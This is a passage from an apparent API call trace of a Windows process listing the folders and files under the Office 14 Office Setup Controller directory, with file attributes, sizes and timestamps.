ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0218.586] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0218.586] FindClose (in: hFindFile=0x65bcc8 | out: hFindFile=0x65bcc8) returned 1 [0218.586] GetProcessHeap () returned 0x560000 [0218.586] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0218.586] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd67f150, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Groove.en-us", cAlternateFileName="GROOVE~1.EN-")) returned 1 [0218.587] GetProcessHeap () returned 0x560000 [0218.587] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bb9a70 [0218.587] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\*", lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd67f150, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bcc8 [0218.587] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd67f150, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0218.587] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd658ff0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x391, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveMUI.XML", cAlternateFileName="GROOVE~1.XML")) returned 1 [0218.587] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee803530, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0218.587] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee803530, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0218.588] FindClose (in: hFindFile=0x65bcc8 | out: hFindFile=0x65bcc8) returned 1 [0218.588] GetProcessHeap () returned 0x560000 [0218.588] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0218.588] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x112a3b30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPath.en-us", cAlternateFileName="INFOPA~1.EN-")) returned 1 [0218.588] GetProcessHeap () returned 0x560000 [0218.588] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bb9a70 [0218.588] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\*", lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x112a3b30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bcc8 [0218.589] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x112a3b30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0218.589] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6e345a0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6e345a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x4cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathMUI.XML", cAlternateFileName="INFOPA~1.XML")) returned 1 [0218.589] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0218.589] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0218.589] FindClose (in: hFindFile=0x65bcc8 | out: hFindFile=0x65bcc8) returned 1 [0218.589] GetProcessHeap () returned 0x560000 [0218.589] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0218.589] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe164800, ftCreationTime.dwHighDateTime=0x1cac048, ftLastAccessTime.dwLowDateTime=0x6b277670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe164800, ftLastWriteTime.dwHighDateTime=0x1cac048, nFileSizeHigh=0x0, nFileSizeLow=0x8b7b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ODeploy.exe", cAlternateFileName="")) returned 1 [0218.590] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2600b20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office.en-us", cAlternateFileName="OFFICE~1.EN-")) returned 1 [0218.590] GetProcessHeap () returned 0x560000 [0218.590] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bb9a70 [0218.590] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\*", lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2600b20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bcc8 [0218.593] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2600b20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0218.593] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e9fff00, ftCreationTime.dwHighDateTime=0x1cba028, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e9fff00, ftLastWriteTime.dwHighDateTime=0x1cba028, nFileSizeHigh=0x0, nFileSizeLow=0x3b78, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRANDING.DLL", cAlternateFileName="")) returned 1 [0218.593] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x470e1800, ftCreationTime.dwHighDateTime=0x1caccea, ftLastAccessTime.dwLowDateTime=0x15334ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x470e1800, ftLastWriteTime.dwHighDateTime=0x1caccea, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRANDING.XML", cAlternateFileName="")) returned 1 [0218.593] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4114ea00, ftCreationTime.dwHighDateTime=0x1ca6af2, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x4114ea00, ftLastWriteTime.dwHighDateTime=0x1ca6af2, nFileSizeHigh=0x0, nFileSizeLow=0x11644, dwReserved0=0x0, dwReserved1=0x0, cFileName="OCT.CHM", cAlternateFileName="")) returned 1 [0218.593] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7c27050, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7c27050, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x15b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUI.XML", cAlternateFileName="OFFICE~1.XML")) returned 1 [0218.594] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf2b422b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUISet.XML", cAlternateFileName="OFFICE~2.XML")) returned 1 [0218.594] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe164800, ftCreationTime.dwHighDateTime=0x1cac048, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe164800, ftLastWriteTime.dwHighDateTime=0x1cac048, nFileSizeHigh=0x0, nFileSizeLow=0x2ed80, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSETUPUI.DLL", cAlternateFileName="")) returned 1 [0218.594] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4804a00, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd4804a00, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x3d90, dwReserved0=0x0, dwReserved1=0x0, cFileName="promointl.dll", cAlternateFileName="PROMOI~1.DLL")) returned 1 [0218.594] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d0b6300, ftCreationTime.dwHighDateTime=0x1ca9107, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x2d0b6300, ftLastWriteTime.dwHighDateTime=0x1ca9107, nFileSizeHigh=0x0, nFileSizeLow=0x9339, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSCONFIG.CHM", cAlternateFileName="")) returned 1 [0218.594] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a8bce00, ftCreationTime.dwHighDateTime=0x1ca910f, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7a8bce00, ftLastWriteTime.dwHighDateTime=0x1ca910f, nFileSizeHigh=0x0, nFileSizeLow=0x6931, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSS10O.CHM", cAlternateFileName="")) returned 1 [0218.594] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7d4800, ftCreationTime.dwHighDateTime=0x1ca910f, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa7d4800, ftLastWriteTime.dwHighDateTime=0x1ca910f, nFileSizeHigh=0x0, nFileSizeLow=0x6a3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSS10R.CHM", cAlternateFileName="")) returned 1 [0218.595] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49087c00, ftCreationTime.dwHighDateTime=0x1ca95c1, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x49087c00, ftLastWriteTime.dwHighDateTime=0x1ca95c1, nFileSizeHigh=0x0, nFileSizeLow=0x10676, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.CHM", cAlternateFileName="")) returned 1 [0218.595] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8728670, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf2b422b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2488, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0218.595] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8728670, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf2b422b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2488, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0218.595] FindClose (in: hFindFile=0x65bcc8 | out: hFindFile=0x65bcc8) returned 1 [0218.598] GetProcessHeap () returned 0x560000 [0218.598] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0218.598] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19b82c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32.en-us", cAlternateFileName="OFFICE~2.EN-")) returned 1 [0218.598] GetProcessHeap () returned 0x560000 [0218.598] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bb9a70 [0218.598] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\*", lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19b82c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bcc8 [0218.598] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19b82c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0218.599] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x567, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32MUI.XML", cAlternateFileName="OFFICE~1.XML")) returned 1 [0218.599] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3e4630, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0218.599] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3e4630, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0218.599] FindClose (in: hFindFile=0x65bcc8 | out: hFindFile=0x65bcc8) returned 1 [0218.599] GetProcessHeap () returned 0x560000 [0218.663] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0218.663] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22200730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32.WW", cAlternateFileName="")) returned 1 [0218.664] GetProcessHeap () returned 0x560000 [0218.664] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bb9a70 [0218.664] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\*", lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22200730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bcc8 [0219.058] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22200730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.058] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe09b760, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe09b760, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.XML", cAlternateFileName="OFFICE~1.XML")) returned 1 [0219.058] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe09b760, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe09b760, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.XML", cAlternateFileName="OFFICE~1.XML")) returned 0 [0219.058] FindClose (in: hFindFile=0x65bcc8 | out: hFindFile=0x65bcc8) returned 1 [0219.059] GetProcessHeap () returned 0x560000 [0219.059] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0219.059] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8d9130, 